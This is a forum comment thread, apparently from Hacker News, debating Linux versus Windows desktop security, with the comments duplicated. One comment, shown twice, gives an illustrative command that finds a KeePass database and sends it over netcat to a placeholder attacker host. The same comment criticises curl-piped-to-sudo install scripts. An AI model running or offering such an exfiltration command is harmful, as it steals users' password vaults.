3 ms·

> security superiority of Linux in contrast to Windows This doesn't exists. Linux is more secure on the desktop because it doesn't attract hackers with its 1%

> security superiority of Linux in contrast to Windows This doesn't exists. Linux is more secure on the desktop because it doesn't attract hackers with its 1% market share and because its users are more tech savvy. Arguably otherwise Windows has better defense because it comes with built-in virus scanner. Also both systems pretty much don't have any sane security policy for the end user at all by default, because they both are trying to defend from the wrong threat - privilege escalation, - which is irrelevant for desktop users 90% of the time.

dijit 6y ago
This is a common argument but the truth here is that Linux is deployed _far_ more commonly than windows. Just not in a desktop context. I understand you clarified with “on the desktop” but the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user, etc are things which Windows is only just catching up with. There are holes, but saying windows is more secure because it’s been attacked more ignores a huge part of the problem windows has had for generations: running as admin when you shouldn’t and sticking the UI into the kernel.
- demosito666 6y ago
  Windows isn't running anything as admin by default for a decade now. Every action that requires elevated privileges is asking for permission via UAC, same as (gk)sudo but more secure. > the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user These are standard practices on every OS that every sane admin implements. Again, just because someone's grandma runs windows 95 under Administrator, doesn't make modern deployments less secure. Also, by far the most popular command on linux is something like `curl -sL https://deb.nodesource.com/setup_12.x https://deb.nodesource.com/setup_12.x | sudo bash`. Do we need to discuss how your security configuration is irrelevant once you run this? This doesn't even require Xorg, and see about 'sudo' part below. > sticking the UI into the kernel Last time I checked, Xorg was running as root pretty much everywhere which if not at all different from security perspective. But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account, doesn't matter if the account has admin privileges or not. If any of your desktop software is exploited via numerous vulnerabilities, or you ran custom script from the internet like the one above - even without sudo, - you are pretty much fucked, because these things can install a keylogger as current user and/or add a cron job or a daemon (again as current user) which will do obfuscated analog of `find ~ -name keepass.kdbx -print0 | xargs -0 cat | nc evil.haxxor.ru 1234` and it will go unnoticed for years. Security model of all both Linux and Windows is so far behind the real world that it doesn't make any sense to discuss which one of them is more secure.
  - cesarb 6y ago
    > Last time I checked, Xorg was running as root pretty much everywhere Xorg hasn't needed to run as root for a long time; kernel mode setting (KMS) removed the main reason for it to run as root. Its successor (Wayland) never runs as root (unless, of course, your user is root itself). > But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account The current push towards sandboxing (flatpak, sandboxed browser processes, etc) makes privilege escalation relevant for desktop users again.
  - tinus_hn 6y ago
    Using the settings used by most people, which do not show pop-ups when parts of Windows use privileges, is exactly as secure as allowing every program to do whatever it wants. It’s not a security boundary and exploits for it are not counted or fixed.
cesarb 6y ago
> > security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now > This doesn't exists. It does exist, but as mentioned by the parent comment, that security superiority of Linux in contrast to Windows is a reputation it earned in the late 1990s and early 2000s; back then (before Windows XP SP2), Windows was a security disaster. Both Windows and Linux got better at security since then. > Arguably otherwise Windows has better defense because it comes with built-in virus scanner. Back then (before Windows Vista), it didn't. And one could also argue that this might be because Windows needs a virus scanner more than Linux does.

dijit 6y ago

This is a common argument but the truth here is that Linux is deployed _far_ more commonly than windows. Just not in a desktop context. I understand you clarified with “on the desktop” but the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user, etc are things which Windows is only just catching up with. There are holes, but saying windows is more secure because it’s been attacked more ignores a huge part of the problem windows has had for generations: running as admin when you shouldn’t and sticking the UI into the kernel.

demosito666 6y ago
Windows isn't running anything as admin by default for a decade now. Every action that requires elevated privileges is asking for permission via UAC, same as (gk)sudo but more secure. > the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user These are standard practices on every OS that every sane admin implements. Again, just because someone's grandma runs windows 95 under Administrator, doesn't make modern deployments less secure. Also, by far the most popular command on linux is something like `curl -sL https://deb.nodesource.com/setup_12.x https://deb.nodesource.com/setup_12.x | sudo bash`. Do we need to discuss how your security configuration is irrelevant once you run this? This doesn't even require Xorg, and see about 'sudo' part below. > sticking the UI into the kernel Last time I checked, Xorg was running as root pretty much everywhere which if not at all different from security perspective. But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account, doesn't matter if the account has admin privileges or not. If any of your desktop software is exploited via numerous vulnerabilities, or you ran custom script from the internet like the one above - even without sudo, - you are pretty much fucked, because these things can install a keylogger as current user and/or add a cron job or a daemon (again as current user) which will do obfuscated analog of `find ~ -name keepass.kdbx -print0 | xargs -0 cat | nc evil.haxxor.ru 1234` and it will go unnoticed for years. Security model of all both Linux and Windows is so far behind the real world that it doesn't make any sense to discuss which one of them is more secure.
- cesarb 6y ago
  > Last time I checked, Xorg was running as root pretty much everywhere Xorg hasn't needed to run as root for a long time; kernel mode setting (KMS) removed the main reason for it to run as root. Its successor (Wayland) never runs as root (unless, of course, your user is root itself). > But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account The current push towards sandboxing (flatpak, sandboxed browser processes, etc) makes privilege escalation relevant for desktop users again.
- tinus_hn 6y ago
  Using the settings used by most people, which do not show pop-ups when parts of Windows use privileges, is exactly as secure as allowing every program to do whatever it wants. It’s not a security boundary and exploits for it are not counted or fixed.

cesarb 6y ago

> > security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now > This doesn't exists. It does exist, but as mentioned by the parent comment, that security superiority of Linux in contrast to Windows is a reputation it earned in the late 1990s and early 2000s; back then (before Windows XP SP2), Windows was a security disaster. Both Windows and Linux got better at security since then. > Arguably otherwise Windows has better defense because it comes with built-in virus scanner. Back then (before Windows Vista), it didn't. And one could also argue that this might be because Windows needs a virus scanner more than Linux does.